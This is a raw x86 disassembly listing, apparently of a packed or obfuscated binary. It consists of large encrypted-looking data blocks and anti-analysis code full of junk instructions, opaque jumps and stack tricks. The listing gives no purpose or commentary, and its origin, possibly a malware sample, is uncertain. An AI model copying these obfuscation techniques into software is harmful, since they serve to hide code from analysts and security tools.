		dd 242C8B54h, 4C481h, 0EC830000h, 24148904h, 8BAh, 89EA0100h
		dd 2C8B5A1Ah, 0E3895324h, 4C381h, 0C3830000h, 241C8704h
		dd 241C8B5Ch, 81E68956h, 4C6h, 4C68300h, 5C243487h, 0F9D8DEE9h
		dd 4CB6E0FFh, 0C9B80C07h, 305D7A2h, 0FEE0FFC5h,	0F335786Eh
		dd 2A35D880h, 2338F618h, 0A15D0454h, 0B9406163h, 0C0018AC5h
		dd 0FF46FF04h, 0C0149186h, 573A316h, 8441807Ch,	5A2B57ACh
		dd 0BB6B901Fh, 0AC1BE5BCh, 313CFB26h, 792FF08Ch, 1833A355h
		dd 0DC10CB1Ch, 0C933AB5Dh, 33260684h, 306D70C7h, 2133C0C2h
		dd 0FE1FD5E8h, 0CF66F902h, 7FA9BCh, 7B2D4546h, 95411E42h
		dd 540D175Fh, 0B971678Ch, 0BD44C50Ch, 0EB722A79h, 6573F404h
		dd 527E939h, 4FAB0000h,	6A94FF38h, 80FFD6D1h, 9AE7CEE9h
		dd 0B4C92487h, 0F8A71E99h, 87203D46h, 0E03B50ACh, 0DCDF6E95h
		dd 37F08BF1h, 0C8D5F889h, 4F66D6E1h, 56199C98h,	0AE855A7Bh
		dd 0F4AFFD6Ch, 343853A9h, 98E6B4C9h, 0FFD6D187h, 0D16C9585h
		dd 4FD9C71Dh, 858F2D5h,	1B38975Ah, 0BC6CAD97h, 0C93438EEh
		dd 69D498B3h, 0D0707C0Fh, 8CF62FF6h, 49E4758Ch,	8A501C2Fh
		dd 0B9B4C3E4h, 98850842h, 3F6CAD96h, 9984BF6Dh,	85D0CB62h
		dd 171AEF7Eh, 0CF9D51E8h, 91ED4814h, 0F9BEAFAh,	4BE219D8h
		dd 6CFF0550h, 97150580h, 0E41F6CADh, 43BC9955h,	289E462Eh
		dd 1EF0BBFDh, 0F8720CC7h, 7E77514Eh, 0EB000000h, 5D2C3F45h
		dd 0DF97A8D6h, 7B6B0472h, 0BD8533E1h, 0B2F2B5A6h, 0C0CD9748h
		dd 6CAD99D1h, 7DB671C1h, 514EF561h, 0B46h, 53A88700h, 48243741h
		dd 6933EC92h, 0DFBAFD19h, 77FE7D88h, 8497E14Ch,	58F30DE8h
		dd 0CD5A9A89h, 0DC98BB21h, 0B280312Dh, 80A2546Eh, 352B54DFh
		dd 0ADED7D9Eh, 9A481A6Ch, 895C2ACAh, 4C1D2E48h,	5ED0B216h
		dd 43F9986Bh, 0B8538357h, 78B95A24h, 5354E71Dh,	0EA0A1979h
		dd 82FBA25Dh, 0DC1A07EFh, 0BA0CA343h, 3C51AA6Bh, 0D16A90FBh
		dd 0C5D12D00h, 0C3FCA2B9h, 0D7C13C19h, 0DDF97AAh, 4CAA975Fh
		dd 0ABD63333h, 0FFBD292h, 0DF6B66D8h, 0CC3CB08h, 8080514Eh
		dd 0A4000000h, 412D4045h, 0EC8099E4h, 8864F701h, 0FD4F56ADh
		dd 0DA43E15Bh, 0A011DD83h, 0B7C6FF26h, 6E1CCEA6h, 20E10482h
		dd 0BCB346DBh, 0A5762942h, 5418354Eh, 728290E9h, 0D23F37E5h
		dd 7FDA8AA3h, 9E7B6B06h, 4527CF60h, 0B025C052h,	0AE2D001Dh
		dd 27D5876Ch, 2A54DBAAh, 0D48F5D11h, 0CED013D2h, 8B514E64h
		dd 32h,	2D4045AFh, 8C9DE441h, 0E60189E0h, 60BBD62Fh, 0F19FDA49h
		dd 23C3F18Ch, 459E86B9h, 414C203Bh, 6CAE8551h, 0FD36F141h
		dd 514E0AE1h, 1C6h, 3A455A00h, 0B66B84ABh, 4A78FD1Ch, 0BAFBE39Ah
		dd 62E89CD0h, 1E64CFF0h, 7F84610Dh, 0DC2702E2h,	56D0A14Dh
		dd 1690298Fh, 56E716CFh, 0B6CF2255h, 7CD4F89Bh,	816D0079h
		dd 692435DBh, 727F4D51h, 0C75F87F6h, 0A02DB51h,	69A4B11Ch
		dd 7123727Fh, 3C46A343h, 72F18823h, 0E3797502h,	7C0F7530h
		dd 6A263570h, 0F180727Fh, 6A72632Eh, 4715727Fh,	46DB0A9Ch
		dd 6AFB18B7h, 0CE9C727Fh, 5BF40E15h, 7C0F7540h,	8B06C970h
		dd 727F6A8Ah, 0F9A45F0Dh, 5304E883h, 0F70DC463h, 236EDC1Bh
		dd 727F6B32h, 23D187D5h, 0EAA4D35Eh, 63C2F08Dh,	0FC6E0619h
		dd 0E5F9D2C3h, 0C24B7D24h, 136h, 3825683Bh, 0DF727F77h
		dd 194AD28Dh, 8D9CDB56h, 0AE851300h, 4FDE196Ch,	97C5C5A7h
		dd 727028ECh, 9B08206Fh, 0A28F727Fh, 72F9B253h,	476C93EFh
		dd 2603E391h, 0AAC73CDCh, 99942384h, 0BA20CC5Fh, 0D7689299h
		dd 3F5C7302h, 0D8728047h, 2603E98Ah, 0CA343DCh,	50AA6BBAh
		dd 0FB93FC3Fh, 0F54B7C48h, 0E93C7189h, 83BC5886h, 40C9h
		dd 792C6D00h, 8C597405h, 0B6CAE85h, 0F78AF77Ah,	0AE85FD1Eh
		dd 25C9C06Ch, 0F34A6FC3h, 0D79F4D1Fh, 0AF38C9CAh, 1EC9596Ch
		dd 314AB4BBh, 0C0F4AF3Dh, 4D40118Dh, 6CAF39A0h,	0A7B27527h
		dd 8Ah,	0F6742C89h, 0CE83E9ADh,	5F22D03Dh, 7EBF1870h, 0EF144E72h
		dd 0BADB0106h, 0FDD038DBh, 0D26F8886h, 8B767E2Ch, 0F6DDDE71h
		dd 3EEF38Ch, 0B1CC61F8h, 6D16D498h, 50143A87h, 2492727Fh
		dd 0DEBAC001h, 0DDDE8CA1h, 3CCDC19Fh, 5035266Dh, 80D2727Fh
		dd 798508DFh, 1E7856F3h, 3F45A04Ch, 0F971402Ch,	1518AB2Eh
		dd 0C89252E9h, 56F3D8C5h, 722D7F78h, 0F9880642h, 2E97AACAh
		dd 715C2D7Eh, 7E2E9864h, 9AB3CEE3h
		dd 0BC6210CAh, 742C117Bh, 18246B7Eh, 0BF728629h, 0DE2401EDh
		dd 0F9036A4Dh, 98038E66h, 0D7AF3903h, 10A336F1h, 3903A0BDh
		dd 4A7527AFh, 82F999E3h, 0B361FBEBh, 0EA6FB4AEh, 4CC4C641h
		dd 0D12B0293h, 2E4BB6BEh, 0E4625313h, 0E17A8041h, 0FA95EFC6h
		dd 0A6DC53EAh, 3BFEA95h, 0F1000000h, 3D45190Bh,	0A1DB462Eh
		dd 7BE68Eh, 5C988569h, 0C13A27CFh, 2065C0ACh, 7B84610Dh
		dd 0D4230EE6h, 324CA945h, 83B25519h, 48904ECh, 0E2895224h
		dd 4C281h, 0EA830000h, 24148704h, 243C895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edi, 25F37105h
		dec	edi
		dec	edi
		or	edi, 2375324Bh
		not	edi
		push	ecx
		mov	ecx, 5F22BC4h
		neg	ecx
		not	ecx
		dec	ecx
		not	ecx
		add	ecx, 0D8231489h
		sub	edi, ecx
		pop	ecx
		push	16C0h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ecx
		mov	ecx, edi
		push	ecx
		xor	dword ptr [esp], 3C75553Fh
		pop	dword ptr [edx+8]
		xor	dword ptr [edx+8], 3C75553Fh
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		mov	byte ptr [edi+6Ah], 16h
		adc	al, 9
		sal	dword ptr [edx], 1
		not	byte ptr ds:10157690h
		mov	eax, 5D7A86Fh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0A34Dh
		dd 0CDCD28FCh, 3CBC2E02h, 0F4195F58h, 33D77708h, 0BEE0672Ch
		dd 40990D2Dh, 0C9AD0A19h, 0E4C468C8h, 60651BE6h, 3D755796h
		dd 9AE263A4h, 0F16E50BBh, 11D20E89h, 107F4FFCh,	43155655h
		dd 87DF4F26h, 0ADDB7B7Ah, 25CF4B42h, 0E1A77E24h, 559B1899h
		dd 85AF546Dh, 34D2073Fh, 99F67CA6h, 8D8D04CAh, 5D7AA68h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 53C35747h
		dd 0A8262CFBh, 218D89BBh, 6A05D110h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 60ECC356h
		dd 8BD3B70Fh, 0D11BD1B5h, 820F6105h, 0Ah, 45B52960h, 6005D111h
		dd 85C76161h, 5D11C09h,	6DD0h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0EDC35343h,	5369F018h, 1D29BD89h
		dd 0C75B05D1h, 0D1067985h, 5, 0BE900h, 396B0000h, 25243BE9h
		dd 0BA9A350Ch, 40C3805Ch, 274DB5FFh, 6A05D1h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0EF9D43C3h
		dd 8BF98BFDh, 0DD95FFFAh, 8B05D10Eh, 0FF006AFAh, 0D1245995h
		dd 0EBC08B05h, 0C9F33348h, 8F9FD838h, 2C6AF582h, 0B7AC6127h
		dd 0A2FE4AE8h, 8AAFA342h, 826296A2h, 0E6E05ECAh, 98AAD1D1h
		dd 0F60973A9h, 77442952h, 56BCD408h, 0B583CBADh, 0E20B6479h
		dd 44413BB4h, 523A76CFh, 0D361E4E5h, 4CE4FA6Ah,	6E8CDh
		dd 93100000h, 4074A9F3h, 68C0Fh, 0B5010000h, 5D117B9h
		dd 0DE958h, 0AA690000h,	9F508C00h, 0CCE34AF7h, 8197554Ch
		dd 64A4C0h, 0D59D8900h,	0BA05D12Ah, 18FAh, 0F5D9E981h
		dd 30FF15D3h, 5F5ED380h, 0EF81CE8Bh, 7EB21CE0h,	81DA8B66h
		dd 0ED9A43EFh, 3404BB78h, 0EF8133DFh, 7BB54260h, 14E9h
		dd 57D23600h, 0F2134FA5h, 97F6F4A6h, 0C430D0CEh, 0F8F9CE3Eh
		dd 800F5735h, 5, 24EED3BEh, 56008F1Ch, 11E8h, 1F428600h
		dd 0F0A010B8h, 14257CC1h, 1CE6F556h, 8B66F805h,	83595EF0h
		dd 0B7BE02E8h, 4857B680h, 21B58B48h, 8305D123h,	850F01EAh
		dd 0FFFFFF82h, 1DE59D8Bh, 0C08B05D1h, 0EDh dup(0)
		db 3 dup(0)
byte_5D4D5B	db 0			; DATA XREF: ___:off_43AE48o
		dd 6Eh dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5D4F2C
; ---------------------------------------------------------------------------
		db 0F0h, 3Fh, 0CAh
		dd 8A5521C9h, 27445970h, 0C7CC2C89h, 899BF943h
; ---------------------------------------------------------------------------


loc_5D4F2C:				; CODE XREF: ud2_____:005D4F14j
		push	0
		push	ebx
		call	sub_5D4F37
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D4F37	proc near		; CODE XREF: ud2_____:005D4F2Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5D4F37	endp

; ---------------------------------------------------------------------------
		sub	eax, 0D2B70F60h
		xor	ecx, 742456FBh
		popa
		popf
		jmp	loc_5D4F69
; ---------------------------------------------------------------------------
		db 1Bh,	8Dh, 0B1h
		dd 75F730B9h, 55EDC8FCh, 88082B2Eh
		db 6Eh
; ---------------------------------------------------------------------------


loc_5D4F69:				; CODE XREF: ud2_____:005D4F54j
		popa
		jnz	loc_5D4F71
		clc


loc_5D4F71:				; CODE XREF: ud2_____:005D4F6Aj
		pop	ebp
		push	0
		push	ecx
		call	sub_5D4F7D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D4F7D	proc near		; CODE XREF: ud2_____:005D4F75p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5D4F7D	endp

; ---------------------------------------------------------------------------
		db 0CFh, 74h, 1Eh
		dd 186DF473h, 244401F9h, 52006A08h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 7CC86599h, 0FC08EFE2h
		dd 6A58F8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0DD01ADC3h, 2A9E2F4Eh, 0C39D4AA0h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 6BC35343h, 0FFE1362Ch
		dd 72970A7Bh, 0FEBF6013h, 0E9620AD4h, 13h, 6BE94995h, 48F7ADCAh
		dd 0C93B7C4Fh, 994965D0h, 61DA1FD4h, 0CE9h, 879B3F00h
		dd 101B2003h, 0AFD17C6Dh, 52C08B28h, 6810Fh, 800F0000h
		dd 0
; ---------------------------------------------------------------------------
		pop	edx
		push	ebx
		adc	dl, 0F1h
		pop	esi
		mov	ebx, 7BD355CDh
		adc	eax, 56671325h
		jmp	loc_5D5066
; ---------------------------------------------------------------------------
		dw 8FA7h
		dd 0C669EC9Ah
		db 0Dh,	0FDh
; ---------------------------------------------------------------------------


loc_5D5066:				; CODE XREF: ud2_____:005D5059j
		and	eax, 30A590FAh
		xor	si, 45F7h	; CODE XREF: ud2_____:005D5076j
		call	near ptr loc_5D5088+1
		jl	short near ptr loc_5D506C+4
		pop	esi
		xchg	bl, [ebp+ecx*8+75h]
		mov	edx, 2F4D290Dh
		cmpsd
		cmp	ecx, [edx]
		push	edi
		dec	ebp
		popf


loc_5D5088:				; CODE XREF: ud2_____:005D5071p
		or	ecx, ebp
		pop	es
; ---------------------------------------------------------------------------
		db 0
		dd 36770000h, 9D7F8ACAh, 0E9F85F33h, 9,	1BAEC4A0h, 36D86996h
		dd 0F3816625h, 81662D11h, 669FD5F1h, 0D621DE81h, 0EE816660h
		dd 14E9DA9Ch, 9E000000h, 8FBE261Ah, 0CD7CA9ABh,	58FC6515h
		dd 63D328A0h, 614F2E71h, 0C880F38Bh, 45C680C0h,	8B66CB8Bh
		dd 0BE960F0h, 0BB000000h, 8D23F6A8h, 6C60CD29h,	0AE9CD3Dh
		dd 31000000h, 0CB0E8670h, 15B6CB2Ah, 0B05261D0h, 0CF8B5F84h
		dd 9E960h, 3D470000h, 49196666h, 0F374305h, 85h, 0BB666100h
		dd 8CB15F67h, 8B66FB8Bh, 0E98153FBh, 6A90386Eh,	238D0F59h
		dd 0E8000000h, 12h, 45FCA02Ch, 0BDC007E0h, 53568A8Bh, 64C94740h
		dd 5E84A9Bh, 35000000h,	0FD942076h, 9E8595Bh, 0B6000000h
		dd 9A1317C8h, 0DA80BFA8h, 0CA816660h, 96B2AC99h, 0BB665961h
		dd 820F1D79h, 5, 6AA02BB9h, 50CC807Ah, 0E95121B1h, 7, 0E9313C3Eh
		dd 5A7075E3h, 29B8FE8Bh, 0F33881Ah, 68Dh, 1ECF8100h, 6654DC71h
		dd 86DDE881h, 0C68BC68Ah, 4D18B966h, 51B55F53h,	9062BB66h
		dd 0B6AABB66h, 1870Fh, 51F80000h, 6E8h,	7E67D400h, 5B4729E7h
		dd 0BE95Ah, 35AE0000h, 3C648C74h, 0A1057717h, 0FD18B0Bh
		dd 28Fh, 0B8FB8B00h, 29E3B6Ah, 10E9h, 0EABD5900h, 9D0E8073h
		dd 6C4AC6CCh, 525A856Fh, 0E6EF80C5h, 89EC74BAh,	0C981516Dh
		dd 3BAE142Fh, 0E781665Ah, 9E9EDBAh, 59000000h, 3488FE70h
		dd 0C55664FEh, 68A0Fh, 0DE810000h, 1AFA125Dh, 0FC3BF0Fh
		dd 385h, 0C78B6600h, 0F78B6656h, 6E859h, 3E1C0000h, 46BFBED6h
		dd 0FEBBB866h, 0F28B665Eh, 864DEFBBh, 0AE935h, 7A230000h
		dd 0C62F66D4h, 0B9C0237Bh, 0DE8h, 5ABAD000h, 69892A11h
		dd 6E68B499h, 0B9B8BB18h, 58340F52h, 9E9h, 65D6000h, 13EBBA63h
		dd 880F47EEh, 0Bh, 0CCBF6660h, 6EB6BF20h, 666128F8h, 0B977DEBEh
		dd 42EF4801h, 0CAB1BE66h, 2830Fh, 0C78B0000h, 2236BA66h
		dd 12E9h, 99F81D00h, 19323255h,	0C160183Dh, 0BA78CACCh
		dd 0FC05FB2h, 385h, 6AD48000h, 58D0F51h, 0BB000000h, 1E58DAD4h
		dd 39FAB859h, 8B6633F6h, 0EBBA66DAh, 1A8D0F89h,	60000000h
		dd 0E9FBBF0Fh, 10h, 93E10279h, 260626F2h, 54223952h, 8BCD429Ch
		dd 0BE861h, 0ECEF0000h,	0E6AE296Ch, 7A496487h, 5E94B592h
		dd 13E9F5h, 48F90000h, 7172BD31h, 0F4579B2Fh, 1512E2B1h
		dd 3B8C3954h, 12E9B9h, 1680000h, 86A21A52h, 0DD4E9BA8h
		dd 0E57DE5E5h, 0DA093F45h, 38D0Fh, 0DF800000h, 10E95Ah
		dd 0BD640000h, 72737C47h, 0B0A35D17h, 172772E3h, 8152D8B8h
		dd 0CFC60CD2h, 8A0F5B5Dh, 18h, 13E9h, 42A76000h, 6787AF36h
		dd 0DF1DCA3Bh, 3507BB53h, 475AC8A3h, 95D98166h,	7B96B931h
		dd 800F46E0h, 9, 38A0Fh, 0EB800000h, 0C68B6604h, 6C9A90BAh
		dd 3820F6Bh, 66000000h,	8166F88Bh, 0E91446D1h, 0Fh, 0FDB7A77Bh
		dd 0BEBEC7C1h, 4D77EFD7h, 8BE6A43Dh, 666053DAh,	721AC381h
		dd 860Fh, 5A610000h, 0E8F8CF8Bh, 13h, 2874B18Eh, 0D40674B7h
		dd 0ECD17E2h, 0F47C3AC0h, 0F275044h, 665FD0B7h,	0C6B8CB81h
		dd 3820Fh, 8B660000h, 0DA8B66F8h, 5C681F9h, 6024BAE2h
		dd 61FCFEBBh, 0CED1804Ah, 0B70FFC61h, 3840FCFh,	0F000000h
		dd 0B70FF8B7h, 0C38166C8h, 0CE8B83EEh, 8D0F5056h, 0
; ---------------------------------------------------------------------------
		pop	edx
		pop	edi
		movzx	esi, dx
		mov	ecx, ebx
		jmp	loc_5D546E
; ---------------------------------------------------------------------------
		dd 482FA86Ah, 0BEA89317h, 96847119h
		db 8Ch,	8Eh
; ---------------------------------------------------------------------------


loc_5D546E:				; CODE XREF: ud2_____:005D545Bj
		mov	eax, ebx
		mov	edx, 3CC9F49h
		add	eax, 3CBCAE0Fh
		jg	loc_5D5486
		mov	ebx, 345DC020h


loc_5D5486:				; CODE XREF: ud2_____:005D547Bj
		jz	loc_5D548F
		mov	dx, ax


loc_5D548F:				; CODE XREF: ud2_____:loc_5D5486j
		mov	di, bx
		jmp	loc_5D54A8
; ---------------------------------------------------------------------------
		db 83h
		dd 44F0FDF4h, 0F099AD4Ch, 19B938E0h
		db 0AAh, 90h, 0F5h
byte_5D54A7	db 0F0h			; CODE XREF: sub_5D54CA+Ej
; ---------------------------------------------------------------------------


loc_5D54A8:				; CODE XREF: ud2_____:005D5492j
		xor	ax, 0A6Dh
		jz	loc_5D54B5	; CODE XREF: ud2_____:005D54C8j
		mov	cl, bl


loc_5D54B5:				; CODE XREF: ud2_____:005D54ADj
		mov	eax, ebx
		mov	edx, 1B46CD11h
		call	near ptr sub_5D54CA
		fdiv	qword ptr [ebp+28D221BCh]
		push	ebp
		jnp	short near ptr loc_5D54AD+5

; =============== S U B	R O U T	I N E =======================================



sub_5D54CA	proc far		; CODE XREF: ud2_____:005D54BCp

; FUNCTION CHUNK AT 005D54E7 SIZE 00000064 BYTES
; FUNCTION CHUNK AT 005D555C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005D557E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005D55A2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005D55CA SIZE 00000026 BYTES

		mov	edi, ebx
		pop	ebx
		jp	loc_5D54E7
		call	near ptr loc_5D54DD+3
		js	short near ptr byte_5D54A7
		cmp	[ebx-46h], ebp


loc_5D54DD:				; CODE XREF: sub_5D54CA+9p
		mov	ds:8B0F0767h, eax
sub_5D54CA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0
		db 2 dup(0), 5Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D54CA


loc_5D54E7:				; CODE XREF: sub_5D54CA+3j
		mov	bl, dl
		mov	bx, ax
		mov	bl, dl
		mov	dx, ax
		and	cx, 0F5C1h
		mov	bx, 989Ch
		movsx	esi, ax
		jns	loc_5D5506
		movzx	edi, bx


loc_5D5506:				; CODE XREF: sub_5D54CA+33j
		mov	dx, 0AA18h
		mov	si, dx
		call	near ptr loc_5D551C+1
		sbb	[ecx], edi
		pop	edi
		inc	ecx
		or	ah, 0FBh
		mov	bh, 0F1h
		movsb


loc_5D551C:				; CODE XREF: sub_5D54CA+43p
		sbb	ah, [esi-75h]
		fcomp	dword ptr [edx+60h]
		adc	cx, 0D660h
		mov	cx, ax
		popa
		mov	ebx, 7BA0B8A8h
		jnb	loc_5D5538
		mov	edx, eax


loc_5D5538:				; CODE XREF: sub_5D54CA+66j
		pusha
		jl	loc_5D5541
		push	esi
		pop	ecx


loc_5D5541:				; CODE XREF: sub_5D54CA+6Fj
		movzx	edx, dx
		popa
		pusha
		jmp	loc_5D555C
; END OF FUNCTION CHUNK	FOR sub_5D54CA
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0A3EC5472h, 6BBCF7B1h, 0C369835Fh, 165B5768h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D54CA


loc_5D555C:				; CODE XREF: sub_5D54CA+7Cj
		push	esi
		movzx	ecx, cx
		pop	edi
		popa
		or	dx, 72E9h
		mov	esi, 6FFD0CB3h
		mov	ebx, edi
		mov	bh, dl
		jmp	loc_5D557E
; END OF FUNCTION CHUNK	FOR sub_5D54CA
; ---------------------------------------------------------------------------
		db 78h,	0A4h, 0F3h
		dd 4C5D76E8h
		db 0F4h, 14h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D54CA


loc_5D557E:				; CODE XREF: sub_5D54CA+A6j
		pusha
		jnz	loc_5D5586
		stc


loc_5D5586:				; CODE XREF: sub_5D54CA+B5j
		push	ecx
		add	esi, 3F234B5Fh
		pop	edx
		popa
		mov	ch, 0EEh
		mov	eax, 76180273h
		jmp	loc_5D55A2
; END OF FUNCTION CHUNK	FOR sub_5D54CA
; ---------------------------------------------------------------------------
		db 8Ch
; ---------------------------------------------------------------------------
		retf	0A338h
; ---------------------------------------------------------------------------
		db 0DDh
		db 0E8h, 0B0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D54CA


loc_5D55A2:				; CODE XREF: sub_5D54CA+CCj
		and	al, 4Dh
		mov	ch, 0D5h
		jb	loc_5D55B2
		or	dx, 8626h


loc_5D55B2:				; CODE XREF: sub_5D54CA+DDj
		jmp	loc_5D55CA
; END OF FUNCTION CHUNK	FOR sub_5D54CA
; ---------------------------------------------------------------------------
		db 26h
		dd 8F78355Ah, 0C4045145h, 12F3E692h, 8009853Ch
		db 0C4h, 8Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D54CA


loc_5D55CA:				; CODE XREF: sub_5D54CA:loc_5D55B2j
		movzx	esi, cx
		ja	loc_5D55D5
		mov	dl, ah


loc_5D55D5:				; CODE XREF: sub_5D54CA+103j
		push	esi
		jle	loc_5D55DD
		cmc


loc_5D55DD:				; CODE XREF: sub_5D54CA+10Cj
		pop	edi
		mov	dx, 55F9h
		call	sub_5D55F4
		cmp	[eax+1BC29CD4h], ebp
		retf	247Dh
; END OF FUNCTION CHUNK	FOR sub_5D54CA
; ---------------------------------------------------------------------------
		dd 134EB9F7h

; =============== S U B	R O U T	I N E =======================================



sub_5D55F4	proc near		; CODE XREF: sub_5D54CA+118p
		mov	cx, 0D768h
		pop	edx
		mov	bx, dx
		pusha
		mov	si, cx
		popa
		movsx	ecx, cx
		sbb	di, 4922h
		jno	loc_5D5616
		pusha
		add	bx, 445Ah
		popa


loc_5D5616:				; CODE XREF: sub_5D55F4+15j
		mov	edx, eax
		pusha
		mov	ax, 0A653h
		mov	dh, 0C9h
		popa
		js	loc_5D562B
		xor	cx, 846Dh


loc_5D562B:				; CODE XREF: sub_5D55F4+2Cj
		push	esi
		cmc
		pop	ecx
		pusha
		mov	si, ax
		popa
		jns	loc_5D563E
		adc	dx, 70EAh


loc_5D563E:				; CODE XREF: sub_5D55F4+3Fj
		and	bh, 8Ah
		add	edx, 321DEE39h
		jnp	loc_5D5659
		jmp	loc_5D5659
; ---------------------------------------------------------------------------
		dw 0FD7Ah
		dd 40145F26h
		db 3Eh
; ---------------------------------------------------------------------------


loc_5D5659:				; CODE XREF: sub_5D55F4+53j
					; sub_5D55F4+59j
		call	sub_5D5664
		mov	esp, 0C71121EDh
		dec	esi
sub_5D55F4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D5664	proc near		; CODE XREF: sub_5D55F4:loc_5D5659p

; FUNCTION CHUNK AT 005D5754 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005D5787 SIZE 00000058 BYTES
; FUNCTION CHUNK AT 005D57E6 SIZE 00000012 BYTES

		clc
		pop	edi
		mov	ax, dx
		mov	bh, 0E1h
		movzx	ebx, si
		sub	si, 0D45Ah
		pusha
		popa
		adc	dx, 2134h
		and	si, 68E6h
		cld
		jle	loc_5D568B
		sbb	di, 6B56h


loc_5D568B:				; CODE XREF: sub_5D5664+1Cj
		js	loc_5D56A6
		jmp	loc_5D56A6
; ---------------------------------------------------------------------------
		xor	edi, [edx+44h]
		push	cs
		cdq
		adc	edx, [esi-0B129E0Ah]
		aaa
		shl	dword ptr [eax+32h], cl


loc_5D56A6:				; CODE XREF: sub_5D5664:loc_5D568Bj
					; sub_5D5664+2Dj
		add	ebx, 478E420Ah
		mov	esi, 46A05F9Ah
		mov	dx, 11D9h
		jmp	loc_5D56C6
; ---------------------------------------------------------------------------
		jg	short loc_5D56FC
		mov	bl, 0EFh
		mov	bl, 6Ch
		db	26h
		push	0C8314C0h


loc_5D56C6:				; CODE XREF: sub_5D5664+51j
		mov	cx, si
		mov	eax, 1824D104h
		jmp	loc_5D56DC
; ---------------------------------------------------------------------------
		db 8Dh
		db 54h
; ---------------------------------------------------------------------------


loc_5D56D5:				; CODE XREF: ud2_____:005D5750j
		xchg	eax, ecx
		into
		push	0FFFFFF97h
; ---------------------------------------------------------------------------
		db 0D2h, 8Eh, 8Dh
; ---------------------------------------------------------------------------


loc_5D56DC:				; CODE XREF: sub_5D5664+6Aj
		mov	ecx, 69D7B3C0h
		mov	edx, ecx
		pusha
		mov	eax, edi
		mov	si, bx
		popa
		js	loc_5D56F1
		clc


loc_5D56F1:				; CODE XREF: sub_5D5664+86j
		mov	di, 0FC98h
		jmp	loc_5D5703
; ---------------------------------------------------------------------------
		adc	ah, ch


loc_5D56FC:				; CODE XREF: sub_5D5664+56j
		lahf
		rep jnz	short $+3
; ---------------------------------------------------------------------------
		db 0A1h, 38h, 40h
; ---------------------------------------------------------------------------


loc_5D5703:				; CODE XREF: sub_5D5664+91j
		mov	cx, di
		jmp	loc_5D5714
; ---------------------------------------------------------------------------
		db 9
		dd 83381h, 83AAEABAh
; ---------------------------------------------------------------------------


loc_5D5714:				; CODE XREF: sub_5D5664+A2j
		add	ecx, 7951C2DDh
		sub	bl, 38h
		jmp	loc_5D5727
; ---------------------------------------------------------------------------
		dw 5BA4h
		db 2Dh,	0CCh, 76h
; ---------------------------------------------------------------------------


loc_5D5727:				; CODE XREF: sub_5D5664+B9j
		and	di, 0BA77h
		movzx	ebx, bx


loc_5D572F:				; CODE XREF: sub_5D5664+E0j
		mov	dx, 91CFh
		jl	loc_5D575A
		call	near ptr loc_5D5744+1
		leave
		mov	ecx, 3ED73758h


loc_5D5744:				; CODE XREF: sub_5D5664+D5p
		jg	short loc_5D572F
sub_5D5664	endp ; sp-analysis failed

		sldt	word ptr [eax]
		add	[eax-0A9D44B0h], cl
		dec	edx
		jns	short loc_5D56D5
		arpl	cx, sp
; START	OF FUNCTION CHUNK FOR sub_5D5664


loc_5D5754:				; CODE XREF: sub_5D5664+144j
		bound	edx, [ebx+5BA01D45h]


loc_5D575A:				; CODE XREF: sub_5D5664+CFj
		sub	bx, 0DE24h
		add	dx, 943Eh
		mov	si, ax
		jl	loc_5D576F
		mov	bh, 73h


loc_5D576F:				; CODE XREF: sub_5D5664+103j
		pusha
		mov	bx, 7717h
		pusha
		mov	si, 4863h
		popa
		popa
		jmp	loc_5D5787
; END OF FUNCTION CHUNK	FOR sub_5D5664
; ---------------------------------------------------------------------------
		dd 0F9D11EA2h
		db 0A9h, 0C2h, 0E6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D5664


loc_5D5787:				; CODE XREF: sub_5D5664+117j
		pusha
		ja	loc_5D5791
		or	cl, 9Ah


loc_5D5791:				; CODE XREF: sub_5D5664+124j
		mov	eax, ebx
		popa
		mov	esi, eax
		movzx	ebx, dx
		mov	ax, 25FAh
		and	cx, 2ACDh
		call	near ptr loc_5D57AA+3
		wait
		loope	loc_5D5754


loc_5D57AA:				; CODE XREF: sub_5D5664+13Ep
		enter	415Bh, 60h
		mov	al, 0A2h
		push	ecx
		pop	ecx
		popa
		pop	ebx
		jp	loc_5D57BF
